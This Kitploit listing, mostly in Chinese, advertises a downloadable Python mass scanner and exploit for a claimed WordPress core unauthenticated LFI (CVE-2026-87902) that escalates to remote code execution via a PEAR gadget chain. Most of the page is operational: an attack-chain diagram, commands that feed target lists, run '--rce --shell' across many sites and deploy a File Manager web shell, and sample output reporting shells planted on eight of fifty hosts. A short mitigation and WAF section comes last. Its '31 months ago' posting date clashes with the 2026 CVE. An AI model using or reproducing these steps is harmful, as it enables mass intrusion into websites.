Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

订阅源联系隐私© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-87902 — 针对 CVE-2026-87902 的 Python 批量扫描器与漏洞利用工具,该漏洞是 WordPress 核心中 get_page_template() 的未认证 LFI,可通过 PEAR gadget 链和 File Manager shell 升级为 RCE。 | Kitploit
工具/GitHubGitHub/hackfutsecroot/cve-2026-87902
漏洞扫描器Payload生成漏洞利用Web应用程序漏洞利用后渗透利用Web安全渗透测试远程访问工具
GitHubhackfutsecroot/cve-2026-87902

CVE-2026-87902

针对 CVE-2026-87902 的 Python 批量扫描器与漏洞利用工具,该漏洞是 WordPress 核心中 get_page_template() 的未认证 LFI,可通过 PEAR gadget 链和 File Manager shell 升级为 RCE。

查看仓库
31个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
网站
分享

🎯 CVE-2026-87902 — WordPress 核心 LFI → RCE



🔍 概述 · ⚡ 快速开始 · 🎯 使用方法 · 📊 输出 · 📞 联系方式


🔍 概述

CVE-2026-87902 是 WordPress 核心中的一个严重 未认证本地文件包含(LFI) 漏洞,可通过 PEAR gadget 链导致 远程代码执行(RCE)。

该漏洞位于 wp-includes/template.php:get_page_template() 中,该函数使用公开的 pagename 查询变量(从 $_POST 读取)来构造模板名称,未经过 validate_file() 校验。由于 locate_template() 仅执行 file_exists(),因此活动主题内存在真实的 page-* 目录即可实现完整的路径遍历。

🎯 攻击链

┌─────────────────┐    ┌──────────────────┐    ┌──────────────────┐
│  Anonymous POST │───▶│   LFI via        │───▶│  PEAR Gadget     │
│   page_id +     │    │   page-templates/│    │  config-create   │
│   pagename      │    │   ../../../      │    │  writes shell    │
└─────────────────┘    └──────────────────┘    └──────────────────┘
                                                        │
                                                        ▼
                                              ┌──────────────────┐
                                              │  💀 RCE +        │
                                              │  File Manager    │
                                              └──────────────────┘

⚠️ 受影响版本

产品受影响版本已修复版本
WordPress Core4.7.0 → 7.1.17.1.2+
严重程度🔴 严重—
CVSS 4.09.8—
身份验证❌ 无需身份验证—

⚡ 快速开始

📦 安装

# Clone repository
git clone https://github.com/HackfutSecRoot/CVE-2026-87902.git
cd CVE-2026-87902

# Install dependencies (stdlib only — no pip needed!)
python --version  # Requires Python 3.8+

🚀 首次运行

# 1. Create your targets file
echo "https://target.com" > targets.txt
echo "https://another-site.org" >> targets.txt

# 2. Non-destructive check (safe)
python main.py -l targets.txt --check --threads 20

# 3. Full exploit + File Manager
python main.py -l targets.txt --rce --shell --threads 10

🎯 用法

📋 可用模式

模式 命令 描述
🔍 检查 python main.py -l targets.txt --check 非破坏性 LFI 检测
💥 LFI python main.py -l targets.txt 使用 OPML oracle 确认 LFI
⚡ RCE python main.py -l targets.txt --rce --command "id" 通过 PEAR 执行命令
📁 Shell python main.py -l targets.txt --rce --shell 部署文件管理器

🔧 命令行选项

python main.py --help

  -u, --url URL          Single target URL
  -l, --list FILE        File with targets (one per line)
  --check                Non-destructive check only
  --rce                  Enable RCE escalation
  --shell                Deploy File Manager shell
  --command CMD          Command to run (default: id)
  --page-id N            Force specific page ID
  --threads N            Concurrent threads (default: 20)
  --timeout S            Per-request timeout (default: 12)
  --proxy URL            HTTP(S) proxy
  --output FILE          Full log output
  --output-vuln FILE     Vulnerable targets only
  --output-rce FILE      RCE targets only
  --no-color             Disable ANSI colors

💡 示例

# Single target with RCE + File Manager
python main.py -u https://target.com --rce --shell --command "whoami"

# Mass scan with proxy (Burp Suite)
python main.py -l targets.txt --rce --proxy http://127.0.0.1:8080 --threads 5

# Custom page ID if discovery fails
python main.py -u https://target.com --page-id 2 --rce --shell

📊 输出

成功运行后,将生成以下文件:

文件内容
📄 results.txt完整扫描日志
🎯 vulnerable.txt已确认存在 LFI 的目标
💀 rce.txt成功实现 RCE 的目标
📁 shells.txt文件管理器 URL

🖥️ 控制台输出示例

======================================================================
  CVE-2026-87902 Mass Scanner v3.0
  WordPress get_page_template() Unauthenticated LFI -> RCE
  
  GHSA-7hp8-65ch-5whp | CVSS 9.8 | CWE-22
  Affected: WordPress 4.7.0 - 7.1.1
  Payload: File Manager (auto-deploy)
======================================================================
  Mode     : EXPLOIT + FILE MANAGER
  Targets  : 50
  Threads  : 20
  Timeout  : 12.0s
  Started  : 2026-09-28 14:32:15
======================================================================

[14:32:16] [+] https://target1.com | VULNERABLE | LFI confirmed: wp-links-opml.php via page-templates/../../../../ (page_id=2, POST, depth=4)
[14:32:17] [*] https://target1.com | Starting RCE + File Manager...
[14:32:18] [+]   Gadget found: /usr/share/php/pearcmd @ depth=7
[14:32:19] [$]   File Manager deployed: https://target1.com/?page_id=2&pagename=...
[14:32:19] [$] https://target1.com | File Manager | https://target1.com/...
[14:32:20] [-] https://target2.com | NOT_VULN | Patched: 7.1.5 >= 7.1.2
[14:32:21] [!] https://target3.com | POSSIBLY | Vulnerable version (5.8.1) but OPML oracle didn't fire
[14:32:22] [!] https://target4.com | RCE | uid=33(www-data) gid=33(www-data)

======================================================================
  SCAN SUMMARY
======================================================================
  Total scanned    : 50
  Vulnerable       : 12
  RCE achieved     : 8
  File Managers    : 8
  Possibly vuln    : 5
  Not vulnerable   : 28
  Not WordPress    : 3
  Errors           : 2
  Elapsed          : 45.2s
  Rate             : 1.1 hosts/s
======================================================================

🛡️ 缓解措施

如果你是系统管理员:

  1. 将 WordPress 更新至 7.1.2 或更高版本
  2. 为你的分支应用向后移植补丁:
    • 6.8.10、7.0.6、7.1.2
  3. WAF 规则:拦截 pagename 中包含 ../ 或 %2e%2e 的请求
  4. 在 php.ini 中禁用 register_argc_argv(阻断 PEAR 利用链)
  5. 删除 pearcmd.php(如果不需要 PEAR)
; php.ini
register_argc_argv = Off

📞 联系方式

🌐 与我们联系





下载工具